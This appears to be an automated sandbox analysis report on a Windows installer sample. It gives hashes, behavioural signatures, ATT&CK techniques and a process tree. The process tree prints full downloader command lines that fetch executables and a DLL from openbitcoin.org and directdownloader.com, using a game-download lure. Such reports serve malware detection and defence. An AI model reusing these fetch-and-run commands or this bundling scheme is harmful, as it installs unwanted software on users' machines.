12fe8f7a44e06f6ac44df3eedf2a7ca6b9b7be2076c19ffb4d0e6d25408a9b25

Analysis

max time kernel
148s
max time network
150s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
11/01/2024, 22:12

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General

Target

54b7cbb49c2e664877d02044d04ea3a5.exe
Size

337KB
MD5

54b7cbb49c2e664877d02044d04ea3a5
SHA1

ee79547435835051dcdc023646ee6980093bd6c3
SHA256

12fe8f7a44e06f6ac44df3eedf2a7ca6b9b7be2076c19ffb4d0e6d25408a9b25
SHA512

236cb0de2bbb04ffc9741776d2502ef1878a14a65aa5c4ac1fbfe392813f95fa8a2a9afeb44cd2f5dda5520d46887207fdd61c0971d6a8b0afc046be76e5e499
SSDEEP

6144:Ic63Az3Bmpn2bPfBGGdNdVo9jj7awE1aW9SHyiIlPEizsUx4aU+pLCVQAAPNgbpE:mGRmpn2bB9dYn7a/1aW9AmRbx4h+pLaP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
2528	downloaderSTUB.exe
2464	downloaderSTUB.exe
3008	downloaderSTUB.exe
2724	downloaderDDLR.exe
2860	downloaderOFFER1.exe
2096	preinstaller.exe
2776	downloaderOFFER1.exe

Loads dropped DLL 37 IoCs

pid	Process
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
1272	54b7cbb49c2e664877d02044d04ea3a5.exe
2528	downloaderSTUB.exe
2464	downloaderSTUB.exe
3008	downloaderSTUB.exe
2860	downloaderOFFER1.exe
2724	downloaderDDLR.exe
2776	downloaderOFFER1.exe
2776	downloaderOFFER1.exe
2528	downloaderSTUB.exe
2464	downloaderSTUB.exe
3008	downloaderSTUB.exe
2860	downloaderOFFER1.exe
2724	downloaderDDLR.exe
2776	downloaderOFFER1.exe
2528	downloaderSTUB.exe
3008	downloaderSTUB.exe
2464	downloaderSTUB.exe
2860	downloaderOFFER1.exe
2724	downloaderDDLR.exe
2776	downloaderOFFER1.exe
2528	downloaderSTUB.exe
3008	downloaderSTUB.exe
2464	downloaderSTUB.exe
2860	downloaderOFFER1.exe
2724	downloaderDDLR.exe
2776	downloaderOFFER1.exe
2528	downloaderSTUB.exe
3008	downloaderSTUB.exe
2464	downloaderSTUB.exe
2860	downloaderOFFER1.exe
2724	downloaderDDLR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 6 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000014249-4.dat	nsis_installer_1
behavioral1/files/0x0009000000014249-4.dat	nsis_installer_2
behavioral1/files/0x0008000000013b22-17.dat	nsis_installer_1
behavioral1/files/0x0008000000013b22-17.dat	nsis_installer_2
behavioral1/files/0x0008000000013b22-16.dat	nsis_installer_1
behavioral1/files/0x0008000000013b22-16.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 2528	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1272 wrote to memory of 2528	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1272 wrote to memory of 2528	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1272 wrote to memory of 2528	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	28
PID 1272 wrote to memory of 3008	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	32
PID 1272 wrote to memory of 3008	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	32
PID 1272 wrote to memory of 3008	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	32
PID 1272 wrote to memory of 3008	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	32
PID 1272 wrote to memory of 2464	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	30
PID 1272 wrote to memory of 2464	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	30
PID 1272 wrote to memory of 2464	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	30
PID 1272 wrote to memory of 2464	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	30
PID 1272 wrote to memory of 2724	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1272 wrote to memory of 2724	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1272 wrote to memory of 2724	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1272 wrote to memory of 2724	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	29
PID 1272 wrote to memory of 2860	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	31
PID 1272 wrote to memory of 2860	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	31
PID 1272 wrote to memory of 2860	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	31
PID 1272 wrote to memory of 2860	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	31
PID 1272 wrote to memory of 2776	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	34
PID 1272 wrote to memory of 2776	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	34
PID 1272 wrote to memory of 2776	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	34
PID 1272 wrote to memory of 2776	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	34
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33
PID 1272 wrote to memory of 2096	1272	54b7cbb49c2e664877d02044d04ea3a5.exe	33

C:\Users\Admin\AppData\Local\Temp\54b7cbb49c2e664877d02044d04ea3a5.exe
"C:\Users\Admin\AppData\Local\Temp\54b7cbb49c2e664877d02044d04ea3a5.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2528
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2724
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2464
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2860
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3008
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\preinstaller.exe 0 "crashbandicoot1-2-3-crashteamracing-crashbash" "Download"
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\9af496bc7b62d7bd5b47434be37fcb98\downloaderSTUB.exe

Filesize
3KB

MD5
692facff6c9605e8489fb3e8518107e1

SHA1
a61c89b193c798a2ea7712a9240ebb5daa8e6da6

SHA256
7b95948a9714807b6312a456064efcab777c84ce134516b88603bf9cfea1341b

SHA512
0357f801a06a889fefbc8a4a53e6217470a65296b5ced6a9413801b271d28f7799a469aa977f38049c1047e1d41b319208c521bc3639c3824672766d25c33d3b

Download Submit
\Users\Admin\AppData\Local\Temp\nsyCED.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1272-67-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2096-68-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download